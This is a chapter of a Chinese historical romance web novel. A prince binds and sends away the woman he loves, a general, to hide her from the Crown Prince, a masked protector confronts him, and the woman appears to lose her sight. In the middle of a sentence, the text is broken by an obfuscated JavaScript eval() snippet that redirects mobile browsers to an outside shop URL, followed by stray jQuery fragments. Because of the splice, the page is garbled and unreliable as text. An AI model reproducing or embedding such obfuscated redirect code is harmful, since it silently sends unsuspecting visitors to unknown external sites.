梁洄绝不能让涂灵落在太子手里。
他虽然敬重自己的兄长,但他也深知太子的为人,表面温良恭俭,实际上,在所有兄弟中,太子是最狠的那个,为达目的,不择手段。
太子谨慎,那封密信尚未交给昭临。这便给了梁洄一段时间,足够他将涂灵送走。眼下能保全她的,也只有这一个办法了。
“我已经托了崔史二位大人上书,他们会为你,向陛下请一道恩旨······”
梁洄停顿了一下,哑声道:“涂灵,你——自由了。”
涂灵听了他的话,神情有些呆。“什么意思?仗不打了?”
“我给你准备好了行囊,你今晚就动身离开。”他直接回避了她的问题。
“什么离开?”她又急又怒。“我问你,仗还打不打了?”
“打不打都与你无关。”
涂灵一脸难以置信,瞪着大眼看了他半晌,低声问:“你又要撵我走?”
梁洄侧身站着,目光移去别处,长睫毛盖住了他眼中的情绪。“我当初就不该留你在军中。”
涂灵咬着牙,紧抿着唇,整张脸都气得通红,她道:“你现在后悔也晚了!”
她大咧咧地往椅子上一坐,有些泼皮无赖的摸样,语气强硬。“我不可能走,就算你罢了我职,我在军中做个小兵,我也不会走。”
梁洄道:“你必须听我的。”
涂灵又站起来,走到他跟前。“你让我听你的,你就得把事说清楚。为什么要突然撵我走?是因为朝廷突然换统帅的原因?还是发生了什么别的事情?”
“有事咱就一起扛,你别总让我当逃兵。我姓涂,我娘是涂骄云,我要是当逃兵,别人要戳我脊梁骨的,我丢不起这人。”
太子要追查十万机关器的下落,软的问不出来,必定要来硬的。他确信她受不住东宫的手段,他也不想让她承受那些。
可这些话,他都不能与她说,说了只会将事情变得更复杂。
“我觉得谢鹧说得对,你不该上战场,你应该去过安生日子。”
“这就是你让我走的原因?”
“没错。”
涂灵觉得梁洄说的不是实话,真要是这个原因,为什么要她大半夜地走?还这么着急,今晚就得走。
她想不通,重新坐回椅子上。“你没说实话,我不走!”
梁洄眼皮一跳,还真忽悠不了她。
他索性也不与她废话了,上前一把将人拉起,拦腰一抱,就往外走。
“放开我!梁洄!我不同意,我不走。”涂灵奋力挣扎。
她双脚蹬在柱子上,身体往后仰,与他较着劲。
“你不同意没用。”
梁洄把她捣乱的腿,用铁臂一箍,将她整个人团在怀里,抱得更紧了一些,大步往外走去。
涂灵又伸出胳膊,死死抓住了门框,撂下狠话。“你别逼我跟你动手。”
梁洄拧眉看她一眼,去掰她抓着门框的手,声音疲惫又无奈。“你乖乖听话好不好?”
涂灵眸色晦暗,咬牙怒道:“我活这么大,就没听过谁的话。”
木元泓这就是不在现场,他若在场,定会无比认同这句话。因为这孽徒,连师父的话也不听,打小就是个反骨仔。
见梁洄无动于衷,涂灵张大嘴巴,对着他的胳膊就是一口。
这一口狠,梁洄闷哼一声,却并未松懈力道。
涂灵又仰头去撞他下巴,他脸色微变,这回撒了手。
她趁机从他的怀中挣脱出来,站在他对面几步远的距离。
梁洄撸起袖子,低头看了一眼胳膊上的咬痕,没破皮,一圈发白的小牙印。
很痛,他却一点都不生气,反而觉得这圈小牙印,很有意思,这是她在他身上留下的印记。
涂灵见他在出神,于是悄默声儿的,拔腿就跑。
她就是这么知进退,不逞一时之勇,知道自己可能打不过梁洄,所以就快跑。
室内烛火抖动得厉害,梁洄缓缓抬眸,瑞凤眼中倒映着她薄薄的背影,在门边一闪而过
涂灵还没等跑出院子,刚要飞身越墙,就被梁洄抓住脚腕,扯了下来。
她像兔子似的,蹬了两脚没蹬开,于是跟梁洄打了起来。
她拼尽全力,他这次也跟她来了真的。
二人出手的速度都很快,只能看到转瞬即逝的残影,拳风,掌风,锋利如刀,在耳边声声掠过。
半柱香的功夫后。
等在韶关府后门的夏溢,瞧见他家殿下,衣衫凌乱,满头大汗,扛着被五花大绑的涂灵过来了。
夏溢愣了:“这······”
梁洄一言不发,登上马车,将涂灵放下。
本想转身就走的,被堵住嘴的涂灵,在他身后一直“呜呜”地响。
他忍不住回身,将她抱在腿上,亲亲她的额头,千分怜惜,万分舍不得。
“你到了那边要好好生活,我给你准备了足够的钱,你可以随意挥霍。”
涂灵:呜呜呜······
梁洄拿掉了她嘴上的棉布。
涂灵:“你个大王八蛋!······”
梁洄又将她的嘴堵上。
涂灵:呜呜······
“若有机会,我一定去看你,你不能忘了我,最好每天都要想我三遍。”
涂灵:呜呜······
梁洄看着她,就跟看不够似的。低头在她脸颊上狠狠亲了一口,又埋头在她脖子里,贪婪又痴迷地呼吸,像是要将她的味道牢牢记住。
涂灵怒目圆睁,用舌头顶出棉布,往旁一呸!
脆生道:“梁洄,今日这个仇,我记下了。”
他微怔,眉眼弯弯,高挺的鼻梁蹭着她的皮肤,语气缱绻。“最好能记一辈子。”
…
涂灵消失了。
最先察觉到这件事的,是涂家暗卫。
梁洄的书房里,来了位不速之客。
“珑儿被你藏到哪里去了?”
梁洄放下手中的军务,从容不迫,抬眼看向来人。
“······你就是仇桉?”
仇桉今日穿了一身黑,脸上带着描金的皮面具,只有一双漂亮的眼睛,和鲜红的唇,露在外面。
“我问你,珑儿在哪?”他的声音带着难以压制的怒火。
能在他眼皮子底下,将人藏起来的,梁洄是第一个。
“我现在还不能告诉你。”
此话刚落,仇桉的身影已欺至案前。
他出
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17732493|202023||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
手极快,猛地揪起梁洄的衣领,双眼幽深,红唇微启,声音低沉而缥缈的传来,仿佛是自西天飘落的梵音在吟诵······
梁洄平静地与他对视。“教你催眠术的人,应当告诉过你,你无法催眠一个早有防备,且心智足够坚定的人。”
声音骤然一收,仇桉自下而上地打量他。“好小子。”
梁洄微笑,他绝非好脾气的人,只是眼前这人与涂灵关系匪浅,凡是与她有关的人,他都愿意拿出三分耐心。
“我不会害她。”
仇桉直起身,俯视着他。“我凭什么信你?”
“我心悦她。”
仇桉退了两步,坐到一旁的椅子上,他跷着腿,整个上半身隐没在烛光背面,一双锋锐的眼睛含阴恻恻地笑。
“这世上爱她的人很多。”
“那是她的本事。”
仇桉挑眉。“有意思。”
“她身边出现别的男人,你不嫉妒?”
说起这个,梁洄没那么从容了。他怎么可能不嫉妒?他简直嫉妒得要发疯,他恨不得把那些跟涂灵接触过的男人全宰了。
他垂着眸子,缓缓转着指间的碧玉扳指。
梁洄有时候真的很不像个天潢贵胄,金玉饰品在他身上很少出现。他浑身上下,除了发簪,只有手上这枚碧玉扳指。这是他用来挽弓的,如果不是在边关,他连这个也不会戴。
他骨子里就是个极其冷情的人,不仅对人,对物也是如此。少有能入他眼的,更别说近他的身了。
“我不知道该不该嫉妒。”
梁洄的这个回答,更叫仇桉吃惊了,心中暗道:珑儿真有一手,都快给人调理成狗了。
仇桉摇摇头,站起身。“我走了。”
“前辈问了我这么多,是不是也应该替我解一解惑?”
仇桉停下脚步。“你要问什么?”
“木元泓去哪了?”
…
一间不起眼的小客栈内。
外出探路夏溢回来了,一个戴黑色面具的人迎上前。
夏溢问:“都尉吃饭了吗?”
黑面具点点头。“今日没闹,饭吃了很多。”
夏溢稍稍松口气,她可终于消停了。
“不过都尉说她头疼。”
夏溢这颗心又提了起来。“什么时候的事?”
“一早就在说。”
涂灵前段时间,刚伤了头,听见她头疼,夏溢不敢耽搁,得赶紧去看看情况。
推开房门,涂灵正坐在床边发呆,她仍旧被五花大绑着。
明明门口有响动,她也没动作,整个人就跟僵了一样。
“都尉?你······”
涂灵蹙起眉头。“天都黑了,你们还不点灯?”
外头的阳光正照在她身上。
夏溢一惊,心道:坏了,真应了那个老军医说的,涂灵头上的伤是个隐患,指不定哪天就要出毛病。
涂灵还在问怎么不点灯。
夏溢伸手在她眼前挥了挥,见她没任何反应,黑眼珠都不闪,立马转身出去。
他边走边安排人。
“你去城里多找几个郎中来。”
“你俩立刻回韶关禀报殿下,都尉的眼睛可能出问题了。”